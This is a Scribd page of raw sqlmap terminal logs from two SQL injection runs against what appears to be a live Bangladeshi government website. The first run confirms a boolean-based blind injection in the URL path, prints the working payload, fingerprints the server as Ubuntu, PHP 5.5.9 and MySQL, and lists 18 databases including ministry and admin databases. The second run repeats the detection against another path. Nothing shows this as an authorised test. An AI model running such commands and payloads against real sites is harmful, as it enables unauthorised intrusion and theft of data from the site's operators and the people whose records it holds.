Scribd
Upload
99 views15 pages

SQLMap Blind Injection Attempt Analysis

The document describes sqlmap running tests against a target URL to detect SQL injection vulnerabilities. It tests different SQL injection techniques including boolean-based blind, error-based, time-based blind, and UNION queries. Many of the tests time out or are skipped due to timeouts or the user aborting tests. It finds that the URI parameter '#1*' is injectable but checks if it is a false positive.

Uploaded by

Md Ariful Islam
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
99 views15 pages

SQLMap Blind Injection Attempt Analysis

The document describes sqlmap running tests against a target URL to detect SQL injection vulnerabilities. It tests different SQL injection techniques including boolean-based blind, error-based, time-based blind, and UNION queries. Many of the tests time out or are skipped due to timeouts or the user aborting tests. It finds that the URI parameter '#1*' is injectable but checks if it is a false positive.

Uploaded by

Md Ariful Islam
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

root@kali-1:~# sqlmap -u

"[Link]
%E0%A6%A4%E0%A7%80%E0%A7%9F%20%E0%A6%B0%E0%A6%BE%E0%A6%9C%E0%A6%B8%E0%A7%8D
%E0%A6%AC%20%E0%A6%AC%E0%A7%8B%E0%A6%B0%E0%A7%8D%E0%A6%A1" -p lang --level 3 --
risk 3 --dbms=mysql --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201602140a89}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| [Link]

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program

[*] starting at 14:51:18

[14:51:18] [WARNING] you've provided target URL without any GET parameters (e.g.
[Link]/[Link]?id=1) and without providing any POST parameters through --
data option
do you want to try URI injections in the target URL itself? [Y/n/q] y
[14:51:20] [INFO] testing connection to the target URL
[14:51:20] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[14:51:21] [INFO] testing if the target URL is stable
[14:51:21] [INFO] target URL is stable
[14:51:21] [INFO] testing if URI parameter '#1*' is dynamic
[14:51:22] [WARNING] URI parameter '#1*' does not appear dynamic
[14:51:22] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might
not be injectable
[14:51:22] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be
vulnerable to XSS attacks
[14:51:22] [INFO] testing for SQL injection on URI parameter '#1*'
[14:51:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:51:22] [WARNING] reflective value(s) found and filtering out
[14:51:30] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE
or HAVING clause' injectable (with --string="\u0986\u09df\u0995\u09b0 \u09a8\u09bf\
u09ac\u09a8\u09cd\u09a7\u09a8")
[14:51:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[14:52:00] [WARNING] there is a possibility that the target (or WAF) is dropping
'suspicious' requests
[14:52:00] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:52:20] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:52:21] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause'
[14:52:51] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:54:21] [CRITICAL] connection timed out to the target URL or proxy
[14:54:21] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)'
[14:54:21] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (EXTRACTVALUE)'
[14:54:21] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (UPDATEXML)'
[14:54:22] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (UPDATEXML)'
[14:54:22] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[14:54:52] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:55:49] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:55:50] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[14:56:20] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:56:58] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:56:59] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[14:56:59] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE
(EXTRACTVALUE)'
[14:57:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:57:00] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'
[14:57:00] [INFO] testing 'MySQL inline queries'
[14:57:30] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[14:57:35] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:57:36] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[14:57:36] [CRITICAL] considerable lagging has been detected in connection
response(s). Please use as high value for option '--time-sec' as possible (e.g. 10
or more)
[14:57:47] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[14:57:48] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[14:58:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[14:58:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:59:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[14:59:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[14:59:49] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT)'
[15:00:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)'
[15:00:49] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT - comment)'
[15:01:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[15:01:29] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[15:01:59] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query)'
[15:02:02] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query)'
[15:02:05] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT)'
[15:02:35] [INFO] testing 'MySQL AND time-based blind (ELT)'
[15:02:45] [INFO] testing 'MySQL OR time-based blind (ELT)'
[15:03:15] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE
ANALYSE (EXTRACTVALUE)'
[15:03:16] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[15:03:16] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace
(SELECT)'
[15:03:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:03:16] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other (potential) technique found
[15:03:16] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending the
range for current UNION query injection technique test
[15:03:17] [INFO] target URL appears to have 4 columns in query
[15:03:47] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:03:47] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minutes
and rerun without flag T in option '--technique' (e.g. '--flush-session --
technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-
sec=2')
[15:05:17] [CRITICAL] connection timed out to the target URL or proxy
[15:05:35] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:36] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[15:05:38] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:39] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[15:05:40] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:41] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'
[15:05:41] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:42] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[15:05:43] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:05:46] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:47] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[15:05:47] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:48] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[15:05:49] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:50] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[15:05:51] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:52] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[15:05:53] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:54] [INFO] checking if the injection point on URI parameter '#1*' is a false
positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)?
[y/N] n
sqlmap identified the following injection point(s) with a total of 78 HTTP(s)
requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [Link]
%E0%A6%BE%E0%A6%A4%E0%A7%80%E0%A7%9F %E0%A6%B0%E0%A6%BE%E0%A6%9C%E0%A6%B8%E0%A7%8D
%E0%A6%AC %E0%A6%AC%E0%A7%8B%E0%A6%B0%E0%A7%8D%E0%A6%A1" AND 9563=9563 AND
"tEaT"="tEaT
---
[15:06:21] [INFO] testing MySQL
[15:06:21] [INFO] confirming MySQL
[15:06:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0
[15:06:22] [INFO] fetching database names
[15:06:22] [INFO] fetching number of databases
[15:06:22] [WARNING] running in a single-thread mode. Please consider usage of
option '--threads' for faster data retrieval
[15:06:22] [INFO] retrieved: 18
[15:06:24] [INFO] retrieved: information_schema
[15:06:51] [INFO] retrieved: a2iweb_db
[15:07:14] [INFO] retrieved: authorizations
[15:07:35] [INFO] retrieved: ecommunication
[15:07:57] [INFO] retrieved: formbuilder
[15:08:14] [INFO] retrieved: mysql
[15:08:22] [INFO] retrieved: ness
[15:08:29] [INFO] retrieved: npf_bari
[15:08:42] [INFO] retrieved: npf_ctg
[15:08:54] [INFO] retrieved: npf_khul
[15:09:08] [INFO] retrieved: npf_syl
[15:09:20] [INFO] retrieved: npf_sylhettest
[15:09:41] [INFO] retrieved: npfministry
[15:10:00] [INFO] retrieved: npfministryadmin
[15:10:24] [INFO] retrieved: org056101030026000000
[15:10:54] [INFO] retrieved: org103000030026000000
[15:11:25] [INFO] retrieved: performance_schema
[15:11:50] [INFO] retrieved: test
available databases [18]:
[*] a2iweb_db
[*] authorizations
[*] ecommunication
[*] formbuilder
[*] information_schema
[*] mysql
[*] ness
[*] npf_bari
[*] npf_ctg
[*] npf_khul
[*] npf_syl
[*] npf_sylhettest
[*] npfministry
[*] npfministryadmin
[*] org056101030026000000
[*] org103000030026000000
[*] performance_schema
[*] test

[15:11:57] [INFO] fetched data logged to text files under


'/root/.sqlmap/output/[Link]'

[*] shutting down at 15:11:57

root@kali-1:~#
============================
root@kali-1:~# sqlmap -u
"[Link]
%E0%A6%A4%E0%A7%8D%E0%A6%B0%E0%A6%BF%E0%A6%AA%E0%A6%B0%E0%A6%BF
%E0%A6%B7%E0%A6%A6%20%E0%A6%AC%E0%A6%BF%E0%A6%AD%E0%A6%BE%E0%A6%97" -p lang --
level 3 --risk 3 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201602140a89}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| [Link]

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not
responsible for any misuse or damage caused by this program

[*] starting at 15:01:00

[15:01:00] [WARNING] you've provided target URL without any GET parameters (e.g.
[Link]/[Link]?id=1) and without providing any POST parameters through --
data option
do you want to try URI injections in the target URL itself? [Y/n/q] y
[15:01:03] [INFO] testing connection to the target URL
[15:01:04] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[15:01:05] [INFO] testing if the target URL is stable
[15:01:06] [INFO] target URL is stable
[15:01:06] [INFO] testing if URI parameter '#1*' is dynamic
[15:01:07] [WARNING] URI parameter '#1*' does not appear dynamic
[15:01:08] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might
not be injectable
[15:01:09] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be
vulnerable to XSS attacks
[15:01:09] [INFO] testing for SQL injection on URI parameter '#1*'
[15:01:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:01:10] [WARNING] reflective value(s) found and filtering out
[15:01:25] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE
or HAVING clause' injectable (with --string="\u0987-\u09b8\u09c7\u09ac\u09be\
u09b0 \u09a4\u09be\u09b2\u09bf\u0995\u09be : \u09ae\u09a8\u09cd\u09a4\u09cd\u09b0\
u09bf\u09aa\u09b0\u09bf\u09b7\u09a6 \u09ac\u09bf\u09ad\u09be\u0997")
[15:01:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[15:01:55] [WARNING] there is a possibility that the target (or WAF) is dropping
'suspicious' requests
[15:01:55] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:03:25] [CRITICAL] connection timed out to the target URL or proxy
[15:03:25] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause'
[15:03:55] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:05:13] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:05:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)'
[15:05:15] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (EXTRACTVALUE)'
[15:05:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (UPDATEXML)'
[15:05:15] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (UPDATEXML)'
[15:05:16] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause'
[15:05:46] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:07:16] [CRITICAL] connection timed out to the target URL or proxy
[15:07:16] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[15:07:46] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:09:16] [CRITICAL] connection timed out to the target URL or proxy
[15:09:16] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[15:09:16] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:09:35] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:36] [INFO] testing 'PostgreSQL OR error-based - WHERE or HAVING clause'
[15:09:38] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or
HAVING clause'
[15:09:39] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:40] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'
[15:09:40] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or
HAVING clause (IN)'
[15:09:42] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:42] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause (IN)'
[15:09:43] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause
(XMLType)'
[15:09:44] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:45] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause
(XMLType)'
[15:09:45] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause
(UTL_INADDR.GET_HOST_ADDRESS)'
[15:09:46] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:47] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause
(UTL_INADDR.GET_HOST_ADDRESS)'
[15:09:48] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause
([Link])'
[15:09:49] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:49] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause
([Link])'
[15:09:50] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:51] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[15:09:51] [INFO] testing 'Firebird OR error-based - WHERE or HAVING clause'
[15:09:51] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE
(EXTRACTVALUE)'
[15:09:51] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:09:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[15:09:59] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'
[15:09:59] [INFO] testing 'PostgreSQL error-based - Parameter replace'
[15:09:59] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter
replace'
[15:09:59] [INFO] testing 'Oracle error-based - Parameter replace'
[15:09:59] [INFO] testing 'MySQL inline queries'
[15:10:29] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:11:59] [CRITICAL] connection timed out to the target URL or proxy
[15:11:59] [INFO] testing 'PostgreSQL inline queries'
[15:12:17] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:12:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:12:19] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:12:20] [INFO] testing 'Oracle inline queries'
[15:12:21] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:12:22] [INFO] testing 'SQLite inline queries'
[15:12:23] [INFO] testing 'Firebird inline queries'
[15:12:23] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[15:12:23] [CRITICAL] considerable lagging has been detected in connection
response(s). Please use as high value for option '--time-sec' as possible (e.g. 10
or more)
[15:12:25] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:12:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[15:12:57] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[15:13:27] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:13:57] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[15:13:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:14:27] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'
[15:14:57] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[15:15:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:15:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE -
comment)'
[15:15:57] [INFO] testing 'Oracle stacked queries (heavy query - comment)'
[15:16:27] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)'
[15:16:37] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:16:38] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[15:16:39] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:16:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[15:17:10] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT)'
[15:17:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)'
[15:18:10] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT - comment)'
[15:18:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[15:18:45] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[15:19:15] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query)'
[15:19:18] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query)'
[15:19:19] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT)'
[15:19:49] [INFO] testing 'MySQL AND time-based blind (ELT)'
[15:19:55] [INFO] testing 'MySQL OR time-based blind (ELT)'
[15:20:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:20:27] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:20:28] [INFO] testing 'PostgreSQL > 8.1 OR time-based blind'
[15:20:29] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:20:30] [INFO] testing 'PostgreSQL AND time-based blind (heavy query)'
[15:20:30] [INFO] testing 'PostgreSQL OR time-based blind (heavy query)'
[15:20:30] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:20:31] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy
query)'
[15:20:31] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy
query)'
[15:20:31] [INFO] testing 'Oracle AND time-based blind'
[15:20:31] [INFO] testing 'Oracle OR time-based blind'
[15:20:32] [INFO] testing 'Oracle AND time-based blind (heavy query)'
[15:20:32] [INFO] testing 'Oracle OR time-based blind (heavy query)'
[15:20:32] [INFO] testing 'IBM DB2 AND time-based blind (heavy query)'
[15:20:32] [INFO] testing 'IBM DB2 OR time-based blind (heavy query)'
[15:20:33] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[15:20:33] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
[15:20:33] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE
ANALYSE (EXTRACTVALUE)'
[15:20:33] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[15:20:33] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace
(SELECT)'
[15:20:33] [INFO] testing 'PostgreSQL > 8.1 time-based blind - Parameter replace'
[15:20:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter
replace'
[15:20:33] [INFO] testing 'Oracle time-based blind - Parameter replace
(DBMS_LOCK.SLEEP)'
[15:20:33] [INFO] testing 'Oracle time-based blind - Parameter replace
(DBMS_PIPE.RECEIVE_MESSAGE)'
[15:20:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:20:33] [WARNING] using unescaped version of the test because of zero knowledge
of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[15:20:33] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other (potential) technique found
[15:20:34] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending the
range for current UNION query injection technique test
[15:20:35] [INFO] target URL appears to have 4 columns in query
[15:20:35] [WARNING] applying generic concatenation with double pipes ('||')
[15:21:05] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:21:05] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minutes
and rerun without flag T in option '--technique' (e.g. '--flush-session --
technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-
sec=2')
[15:22:35] [CRITICAL] connection timed out to the target URL or proxy
[15:23:05] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request(s)
[15:23:51] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:23:52] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[15:23:53] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:23:55] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[15:23:55] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:23:56] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'
[15:23:56] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:23:57] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[15:23:58] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:23:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:23:59] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:24:00] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[15:24:01] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:24:02] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[15:24:02] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:24:03] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[15:24:04] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
[15:24:05] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[15:24:06] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext
parameter/(c)hange verbosity/(q)uit] S
